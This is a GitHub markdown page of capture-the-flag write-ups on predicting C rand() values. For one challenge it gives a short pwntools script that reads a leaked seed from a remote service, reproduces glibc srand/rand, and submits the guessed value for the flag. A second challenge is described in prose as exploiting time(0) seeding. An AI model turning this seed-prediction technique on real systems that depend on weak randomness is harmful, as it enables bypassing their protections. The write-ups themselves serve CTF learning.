Skip to content

Latest commit

 

History

History
34 lines (23 loc) · 738 Bytes

random_exploits.md

File metadata and controls

34 lines (23 loc) · 738 Bytes

1) Hackon Mini pwn50

The binary spits out the seed for us we just feed that to our srand glibc func and get the random value hence the flag

from pwn import *
from ctypes import *

cdll.LoadLibrary("libc.so.6") 
libc = CDLL("libc.so.6")

r = remote("35.154.158.26",31339)

msg = r.recvline()
print msg 
seed = msg.split(':')[1]
seed = int(seed)
print "[+] seed : "+str(seed)

libc.srand(seed)
val = libc.rand()

print "[+] random val :"+str(val)

r.sendline(str(val))

print r.recvlines(2)

2) BITSCTF Random game

i didin't solve the problem but solution is : the binary uses time(0) as seed which i learnt is same for everyone (it is just a no of seconds since epoch) so same idea as above and then flag :)